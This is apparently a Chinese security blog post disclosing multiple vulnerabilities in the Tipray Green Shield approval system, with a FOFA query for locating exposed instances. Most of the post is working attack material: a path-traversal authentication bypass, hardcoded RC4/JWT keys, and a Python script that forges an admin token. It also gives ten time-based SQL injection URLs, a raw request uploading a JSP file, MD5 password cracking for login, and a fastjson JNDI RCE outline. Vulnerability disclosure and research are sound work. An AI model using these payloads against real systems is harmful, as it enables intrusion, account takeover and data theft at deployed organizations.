天锐绿盾审批系统存在鉴权绕过、任意用户身份伪造、SQL注入、文件上传、敏感信息泄露、fastjson反序列化等多个漏洞。fofa: app="TIPPAY-绿盾审批系统"
鉴权代码在过滤器 com.trwfe.filter.SecurityFilter 中,调用 isNoNeedValidate() 方法判断 uri 是否不需要认证,不需要认证的不进行鉴权;在isNoNeedValidate()方法中,当uri的开头是isNoNeedValidate或isDdWxDownLoad paths中的其中一个时,返回true也就是不进行鉴权;这里使用了request.getRequestURI()获取uri路径,request.getRequestURI()不会对 uri进行标准化处理;当访问/service/../config/findAllUser.do时,request.getRequestURI()获取的uri为/service/../config/findAllUser.do,uri以/service/开头不会进行鉴权可以成功访问,但服务器实际处理的请求路径为/config/findAllUser.do,从而绕过鉴权。还是看过滤器com.trwfe.filter.SecurityFilter中的鉴权代码,通过验证请求头Authorization的内容实现鉴权;Authorization值以Bearer 开头时,对Bearer 后的内容先使用RC4Util解密、再使用JWTUtils验证,在RC4Util中16进制数转字节数组再RC4解密,解密出JWT后在JWTUtils进行JWT解密,RC4和JWT都使用相同的密钥进行加密和解密,只要知道RC4和JWT的密钥就可以伪造鉴权的请求头Authorization,其中RC4密钥为TIPRAY_2023写在代码中,JWT密钥为trwfe.jwt.2023拼接Config.SYSTEM_USER_NUMBER的值;搜索发现SYSTEM_USER_NUMBER就是键名为system.user.number对应的值,通过/config/findByPk.do接口可从数据库中获得键值,而/config/findByPk.do接口刚好在不需要鉴权的白名单中,可直接访问获得SYSTEM_USER_NUMBER的值,是一串数字;因此就有了RC4和JWT的密钥,可伪造任意用户身份鉴权的Authorization请求头了,不同系统的SYSTEM_USER_NUMBER不一样,使用python生成有效的Authorization请求头进行验证;import reimport timefrom Crypto.Cipher import ARC4import jwtimport requestsdef get_Auth(key): # admin用户,需要是存在的用户名 user_info = {'generateBy': 2, 'endType': 4, 'language': 'zh-CN', 'exp': int(time.time()) + 3600, 'iat': int(time.time()), 'jti': '1', 'account': 'admin'} # jwt加密 token = jwt.encode(user_info, 'trwfe.jwt.2023' + f'{key}', algorithm="HS256") # RC4加密 cipher = ARC4.new('TIPRAY_2023'.encode('utf-8')) encrypted_data = cipher.encrypt(token.encode('utf-8')) # 转换为16进制字符串 hex_str = encrypted_data.hex() return hex_strurl = 'http://x.x.x.x/'res1 = requests.get(url + 'trwfe/config/findByPk.do?key=system.user.number', verify=False)key = re.search(r'(config_value":")(\d*)', res1.text).group(2)header = {'Authorization': f'Bearer {get_Auth(key)}'}res2 = requests.get(url + 'trwfe/user/findOnlineUserForPage.do', headers=header, verify=False)print(header)print(res2.status_code)print(res2.text)
有些网站无法再通过前面鉴权绕过的方式访问鉴权接口了,但是还可以通过这种伪造鉴权Authorization请求头的方式访问。SQL使用了MyBatis XML的方式,在\classes\db\mapping目录下存放了SQL的xml文件,搜索发现多处使用了${}进行参数的动态拼接,${}不会进行预编译处理,存在SQL注入漏洞;根据id名定位到注入点,pageVo参数用于分页排序查询,在排序字段sort参数处可进行SQL注入;还有其他SQL注入点,类似的,都是通过pageVo参数实现分页排序查询时使用了${}进行参数拼接,存在SQL注入漏洞。/trwfe/service/../user/findUserPage.do?deptId=1&userName=1&userStatus=1&order=desc&sort=1+and(select*from(select+sleep(5))a/**/union/**/select+1)=1/trwfe/service/../user/findUserPageExcludeCurrentUser.do?deptId=1&order=desc&sort=1+and(select*from(select+sleep(5))a/**/union/**/select+1)=1/trwfe/service/../thirdSystemConfig/findSingConfigPage.do?order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../fileServer/findFileServerPage.do?order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../role/findRolePage.do?order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../menu/findModulePage.do?order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../invoker/findTenantPage.do?order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../invoker/findCategoryPage.do?tenantId=1&order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../invoker/findPropertyPage.do?tenantId=1&categoryId=1&order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1/trwfe/service/../dept/findDeptPage.do?parentId=1&deptName=1&order=desc&sort=1+and(select*from(select+sleep(4))a/**/union/**/select+1)=1
通过搜索MultipartFile、getOriginalFilename等关键字可找到文件上传的地方,在com.trwfe.controller.ConfigController中/config/uploadWxFile.do接口可上传文件到网站目录下,对上传文件的文件后缀、文件内容等都没有过滤,存在任意文件上传漏洞。POST /trwfe/service/../config/uploadWxFile.do HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygmUbNJuLTlHupcXwContent-Length: 289------WebKitFormBoundarygmUbNJuLTlHupcXwContent-Disposition: form-data; name="file"; filename="test.jsp"<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>------WebKitFormBoundarygmUbNJuLTlHupcXw--
/user/findOnlineUserForPage.do、/config/findAllUser.do等接口可查询用户信息,其中有用户名和密码,密码为MD5值使用cmd5解出,可成功登录系统,有的密码为空的可直接空密码登录、也有的禁止了空密码登录。引入了fastjson 1.2.7依赖,fastjson 1.2.7是fastjson 1.2.24之前的版本,存在fastjson反序列化漏洞;搜索parse(、parseObject(关键字可找到反序列化处,org.activiti.rest.MailInfoResource中/ext/mail/add/asign接口存在fastjson反序列化操作(还有其他很多类似的接口),利用fastjson JdbcRowSetImpl链可RCE,JNDI注入地址使用java chains生成。免责声明:本文内容仅限于学习交流自查,旨在提高安全意识、加强安全防护。读者任何基于本文的操作均属个人行为,后果自负,与本文作者及本公众号无关。如有侵权请联系删除。